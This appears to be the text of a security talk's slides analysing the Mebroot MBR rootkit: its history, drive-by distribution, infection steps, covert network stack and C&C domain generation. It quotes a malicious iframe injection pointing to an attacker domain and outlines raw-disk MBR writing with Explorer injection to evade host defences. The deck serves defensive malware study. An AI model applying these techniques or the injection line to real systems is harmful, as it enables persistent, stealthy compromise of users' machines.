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Your computer is now stoned 
(...again!)



Master Boot Record & Viruses

� 1987…

Sean Connery nominated Best Actor in 
the movie “The Untouchables”

Michael Jackson’s album “Bad” sells 25 
million copies worldwide

Stoned virus discovered and it 
infects the Master Boot Record



Master Boot Record & Viruses

Twenty years (and a million of viruses) later…



Master Boot Record & Viruses

� September 2007:

• Sean Connery is retired…

• Michael Jackson no longer singing…

• Master Boot Record viruses are still alive!!!

• Stoned.Angelina virus found on a 

series of pre-installed Vista laptopsseries of pre-installed Vista laptops

• A 13-years old piece of code 

that still runs perfectly on Vista!

� November 2007:

� MBR Rootkit (aka Mebroot) released in-the-wild



� 2005: “BootRoot” project 

from eEye

� Presented at BlackHat, written 

by Derek Soeder

� Works on Windows 2000/XP 

(no Vista)

� Payload: loads a backdoored

NDIS network driver

MBR Rootkits – Brief history

NDIS network driver

� 2007: Vbootkit from NV labs

� Presented at BlackHat/HITB, written by N. & V. Kumar

� Works on Vista RC1/RC2 (boot manager different from XP)

� Payload: elevated privilege shell, hide process

� End-2007: MBR Rootkit goes in the wild

� Real malware distributed 2 years later after PoC



Mebroot – Short introduction

� The first complex MBR rootkit with malicious payload

� Kernel-mode downloader and backdoor

� Downloads PWS and banking Trojan components

� Strengths of Mebroot:

� No executable files on file system

� No registry keys or standard launch points

� No driver module in module list� No driver module in module list

� Minimal memory footprint

� Early execution during system startup

� Stealth read/write disk operations

� Stealth network tunnel

� Active Anti-Removal protection

� Totally generic, open malware platform (MAOS)



Mebroot variants and evolution

1st gen (beta)

• Limited tests 
during Oct/Nov 
2007

2nd gen

• Mar 2008, 
improved 
variant found in 

3rd gen

• Further 
improvements 
during May-Jun 

NOV 07 DEC 07 JAN 08 FEB 08 MAR 08 APR 08 MAY 08 JUN 08

2007

• Limited “drive-
by” attacks 
observed in Dec 
2007

• Jan 2008, 
GMER/iDefense
published an 
initial analysis of 
the rootkit

variant found in 
the wild

• New installation 
technique, more 
stealth features, 
watchdog

• Packer starts to 
get frequent 
updates to avoid 
detection

during May-Jun 
2008

• Bug fixes, 
improved 
exception 
handling

• Latest variants 
patch ETHREAD 
structures to 
improve stealth



Mebroot distribution

� European countries seem the most targeted by the gang

� 1500+ legit websites compromised only in Jan/Feb period

� Daily hits to Mebroot Neosploit domains estimated in the order of 

50-100K/day

� Example of high-profile infected web site:



1st gen compromise: Simple IFRAME injection

2nd gen compromise: Obfuscated JAVASCRIPT injection

<iframe src="http://gfeptwe.com/ld/grb/”width=100 height=80> </iframe>

Mebroot distribution

3rd gen compromise: Infection of other legitimate scripts



� Neosploit evolution on Mebroot servers during the time

AUG 2008

2.0.19

3.0
3.1

Mebroot distribution and Neosploit

� Exploits modules always updated with most recent version

� PDF exploit (CVE-2007-5659) running rampant in last period

2.0.15-17

2.0.19

JAN 2008



MBR infection techniques

� Raw disk access works from usermode (no kernel driver required)

� It’s just one API call (see: http://support.microsoft.com/kb/q100027)

� CreateFile(“\\Device\PhysicalDrive0”…)

� Privileges required for raw disk access:

� 2000/XP, requires Administrative privileges;� 2000/XP, requires Administrative privileges;

� Vista<=RC1, requires Administrative privileges;

� Vista>RC1, raw disk access is blocked by UAC (when enabled);

� J. Rutkowska first to report “pagefile” attack using raw disk access.



MBR infection techniques

� Newer technique, improved after Feb 2008:

� Sophisticated installation technique to bypass local HIPS:

� Main executable designed to run as both EXE and DLL

Use SetWinEventHook() to inject into EXPLORER

CreateFile(“\\Device\PhysicalDrive0”…)

becomes …

CreateFile(“\\.\RealHardDisk”…)

� Use SetWinEventHook() to inject into EXPLORER

� Use a custom driver as DISK.SYS wrapper to perform raw read/write



ld.exe

MoveFileEx

(“ld.exe” -> NULL)

ld.exe --cp 2.tmp

1.tmp

CreateProcess

(“%TEMP%\1.tmp”)

CreateFile

(“%TEMP%\1.tmp”)

CreateProcess

(“ld.exe --cp 2.tmp”)

CreateFile

(“%TEMP%\2.tmp”)

Copy itself into 2.tmp

Patch 2.tmp to be DLL

(flip characteristic bit)

CreateFile

(“\\.\RealHardDisk”)
CreateFile

(“USER32.dll”)

ReadFile

(@SetWinEventHook) keep looping…

Find EXPLORER.EXE

process-id in memory

2.tmp
SetWinEventHook

(EXPLORER, 2.tmp, wep)



[EXPLORER] 2.tmp!wep()

Create DLL Service

(“svchost.exe -k netsvcs”)

RegSetValueEx

(ServiceDll = 2.tmp)

Add itself to

\SvcHost\netsvcs list

CreateFile

(“\\.\RealHardDisk”)

1.tmp

StartService()

4.tmp

CreateDevice

(“\\.\RealHardDisk”)
Ready!

DeviceIoControl()

[SVCHOST] 2.tmp!ServiceMain()

StartService()

CreateFile

(“%TEMP%\4.tmp”)

Create SYS Service

(“%TEMP%\4.tmp”)

StartService()

CAN READ/WRITE

RAW-DISK SECTORS

INFECT MBR



Mebroot and its private system call interface

� The driver has a private system call table

� Consists of 21 routines

� One routine is used to send HTTP packets 

to the C&C server

� Utilizes the private TCP/IP stack

� Operates in lowest layers of NDIS

� 100% bypass of current firewalls?

M

A
Malware 

Operating � 100% bypass of current firewalls?

� Downloaded DLLs take full benefit of this 

service

� Requires only minor changes to the 

DLL code

O

S

Operating 
System



Mebroot and its private communication channel

Driver

Inject DLL1 into 
services.exe

DLL1
services.exe

Create named pipe
\\.\pipe\!win$

DLL2
firefox.exe

Connect to named pipe
\\.\pipe\!win$

Inject DLL2 into 
firefox.exe et al.

Create system call 
handler for DLL1

Send packet through 
private TCP/IP stack

Wait for pipe data

Send packet through 
system call

Write data to pipe



Mebroot C&C – Finding the server

� Has a hard-coded DNS name or IP address

� Has an algorithm to generate a pseudo-random DNS name

� Based on current date

Try 
[random].com 

x timesx times

Try 
[random].net

x times

Try 
[random].biz x 

times

Generate 
random DNS 

name

Generate 
random DNS 

name

Try 
[random].com 

y times

Try hard-

coded DNS/IP 

x times



Mebroot C&C – Communication

� Uses HTTP protocol for communication

� All data is encrypted with “complex” algorithm

� Heavily obfuscated

� Uses a 128 bit key but only 32 bits are random

� Utilizes a 29 round XOR based algorithm with key scheduler

� Cleartext data is validated with a custom checksum algorithm
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